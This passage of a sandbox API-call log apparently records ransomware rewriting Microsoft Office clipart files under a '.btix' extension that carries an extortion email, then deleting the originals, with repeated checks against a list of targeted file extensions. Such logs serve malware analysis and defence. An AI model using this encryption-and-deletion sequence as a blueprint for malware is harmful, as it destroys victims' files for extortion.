Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0157.652] lstrlenW (lpString=".jpg") returned 4 [0157.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.652] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.652] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0157.653] GetLastError () returned 0x0 [0157.653] ReadFile (in: hFile=0x354, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x164c, lpOverlapped=0x0) returned 1 [0157.667] WriteFile (in: hFile=0x39c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1650, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1650, lpOverlapped=0x0) returned 1 [0157.668] ReadFile (in: hFile=0x354, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.668] WriteFile (in: hFile=0x39c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.668] SetEndOfFile (hFile=0x39c) returned 1 [0157.668] CloseHandle (hObject=0x39c) returned 1 [0157.668] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.668] SetEndOfFile (hFile=0x354) returned 1 [0157.669] CloseHandle (hObject=0x354) returned 1 [0157.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf")) returned 1 [0157.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0157.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0157.672] lstrlenW (lpString=".doc") returned 4 [0157.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.672] lstrlenW (lpString=".docx") returned 5 [0157.672] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.672] lstrlenW (lpString=".pdf") returned 4 [0157.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.672] lstrlenW (lpString=".xls") returned 4 [0157.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.672] lstrlenW (lpString=".xlsx") returned 5 [0157.672] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.672] lstrlenW (lpString=".ppt") returned 4 [0157.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0157.672] lstrlenW (lpString=".zip") returned 4 [0157.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.672] lstrlenW (lpString=".rar") returned 4 [0157.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.672] lstrlenW (lpString=".bz2") returned 4 [0157.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.672] lstrlenW (lpString=".7z") returned 3 [0157.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0157.673] lstrlenW (lpString=".dbf") returned 4 [0157.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0157.673] lstrlenW (lpString=".1cd") returned 4 [0157.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0157.673] lstrlenW (lpString=".jpg") returned 4 [0157.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.679] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.679] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198016.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.683] GetLastError () returned 0x0 [0157.683] ReadFile (in: hFile=0x368, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x849c, lpOverlapped=0x0) returned 1 [0157.686] WriteFile (in: hFile=0x380, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x84a0, lpOverlapped=0x0) returned 1 [0157.687] ReadFile (in: hFile=0x368, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.687] WriteFile (in: hFile=0x380, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.688] SetEndOfFile (hFile=0x380) returned 1 [0157.690] CloseHandle (hObject=0x380) returned 1 [0157.690] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.690] SetEndOfFile (hFile=0x368) returned 1 [0157.691] CloseHandle (hObject=0x368) returned 1 [0157.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198016.wmf")) returned 1 [0157.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF") returned 68 [0157.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF") returned 68 [0157.694] lstrlenW (lpString=".doc") returned 4 [0157.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.694] lstrlenW (lpString=".docx") returned 5 [0157.694] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0157.694] lstrlenW (lpString=".pdf") returned 4 [0157.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.694] lstrlenW (lpString=".xls") returned 4 [0157.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.694] lstrlenW (lpString=".xlsx") returned 5 [0157.694] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0157.694] lstrlenW (lpString=".ppt") returned 4 [0157.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF") returned 68 [0157.694] lstrlenW (lpString=".zip") returned 4 [0157.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.694] lstrlenW (lpString=".rar") returned 4 [0157.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.694] lstrlenW (lpString=".bz2") returned 4 [0157.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.694] lstrlenW (lpString=".7z") returned 3 [0157.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF") returned 68 [0157.695] lstrlenW (lpString=".dbf") returned 4 [0157.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF") returned 68 [0157.695] lstrlenW (lpString=".1cd") returned 4 [0157.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF") returned 68 [0157.695] lstrlenW (lpString=".jpg") returned 4 [0157.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.697] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.697] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0157.698] GetLastError () returned 0x0 [0157.698] ReadFile (in: hFile=0x354, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x8860, lpOverlapped=0x0) returned 1 [0157.701] WriteFile (in: hFile=0x368, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x8870, lpOverlapped=0x0) returned 1 [0157.703] ReadFile (in: hFile=0x354, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.703] WriteFile (in: hFile=0x368, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.703] SetEndOfFile (hFile=0x368) returned 1 [0157.709] CloseHandle (hObject=0x368) returned 1 [0157.709] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.709] SetEndOfFile (hFile=0x354) returned 1 [0157.710] CloseHandle (hObject=0x354) returned 1 [0157.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf")) returned 1 [0157.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0157.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0157.711] lstrlenW (lpString=".doc") returned 4 [0157.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.711] lstrlenW (lpString=".docx") returned 5 [0157.711] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0157.711] lstrlenW (lpString=".pdf") returned 4 [0157.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.711] lstrlenW (lpString=".xls") returned 4 [0157.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.711] lstrlenW (lpString=".xlsx") returned 5 [0157.711] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0157.711] lstrlenW (lpString=".ppt") returned 4 [0157.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0157.712] lstrlenW (lpString=".zip") returned 4 [0157.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.712] lstrlenW (lpString=".rar") returned 4 [0157.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.712] lstrlenW (lpString=".bz2") returned 4 [0157.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.712] lstrlenW (lpString=".7z") returned 3 [0157.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0157.712] lstrlenW (lpString=".dbf") returned 4 [0157.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0157.712] lstrlenW (lpString=".1cd") returned 4 [0157.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0157.712] lstrlenW (lpString=".jpg") returned 4 [0157.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.718] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.718] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0157.723] GetLastError () returned 0x0 [0157.723] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xd6b4, lpOverlapped=0x0) returned 1 [0157.727] WriteFile (in: hFile=0x354, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xd6c0, lpOverlapped=0x0) returned 1 [0157.729] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.729] WriteFile (in: hFile=0x354, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.729] SetEndOfFile (hFile=0x354) returned 1 [0157.732] CloseHandle (hObject=0x354) returned 1 [0157.732] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.732] SetEndOfFile (hFile=0x378) returned 1 [0157.733] CloseHandle (hObject=0x378) returned 1 [0157.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf")) returned 1 [0157.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0157.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0157.737] lstrlenW (lpString=".doc") returned 4 [0157.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.737] lstrlenW (lpString=".docx") returned 5 [0157.737] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.737] lstrlenW (lpString=".pdf") returned 4 [0157.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.737] lstrlenW (lpString=".xls") returned 4 [0157.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.737] lstrlenW (lpString=".xlsx") returned 5 [0157.737] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.737] lstrlenW (lpString=".ppt") returned 4 [0157.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0157.737] lstrlenW (lpString=".zip") returned 4 [0157.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.737] lstrlenW (lpString=".rar") returned 4 [0157.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.737] lstrlenW (lpString=".bz2") returned 4 [0157.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.737] lstrlenW (lpString=".7z") returned 3 [0157.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0157.737] lstrlenW (lpString=".dbf") returned 4 [0157.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0157.738] lstrlenW (lpString=".1cd") returned 4 [0157.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0157.738] lstrlenW (lpString=".jpg") returned 4 [0157.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.741] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.741] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0157.742] GetLastError () returned 0x0 [0157.742] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xa3b2, lpOverlapped=0x0) returned 1 [0157.843] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xa3c0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xa3c0, lpOverlapped=0x0) returned 1 [0157.844] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.845] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.845] SetEndOfFile (hFile=0x378) returned 1 [0157.845] CloseHandle (hObject=0x378) returned 1 [0157.845] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.845] SetEndOfFile (hFile=0x380) returned 1 [0157.846] CloseHandle (hObject=0x380) returned 1 [0157.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf")) returned 1 [0157.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0157.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0157.853] lstrlenW (lpString=".doc") returned 4 [0157.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.853] lstrlenW (lpString=".docx") returned 5 [0157.853] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0157.853] lstrlenW (lpString=".pdf") returned 4 [0157.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.853] lstrlenW (lpString=".xls") returned 4 [0157.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.853] lstrlenW (lpString=".xlsx") returned 5 [0157.853] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0157.853] lstrlenW (lpString=".ppt") returned 4 [0157.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0157.853] lstrlenW (lpString=".zip") returned 4 [0157.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.853] lstrlenW (lpString=".rar") returned 4 [0157.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.853] lstrlenW (lpString=".bz2") returned 4 [0157.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.854] lstrlenW (lpString=".7z") returned 3 [0157.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0157.854] lstrlenW (lpString=".dbf") returned 4 [0157.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0157.854] lstrlenW (lpString=".1cd") returned 4 [0157.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0157.854] lstrlenW (lpString=".jpg") returned 4 [0157.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.856] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.856] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.896] GetLastError () returned 0x0 [0157.896] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xc20c, lpOverlapped=0x0) returned 1 [0157.899] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xc210, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xc210, lpOverlapped=0x0) returned 1 [0157.902] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.903] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.903] SetEndOfFile (hFile=0x36c) returned 1 [0158.265] CloseHandle (hObject=0x36c) returned 1 [0158.272] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 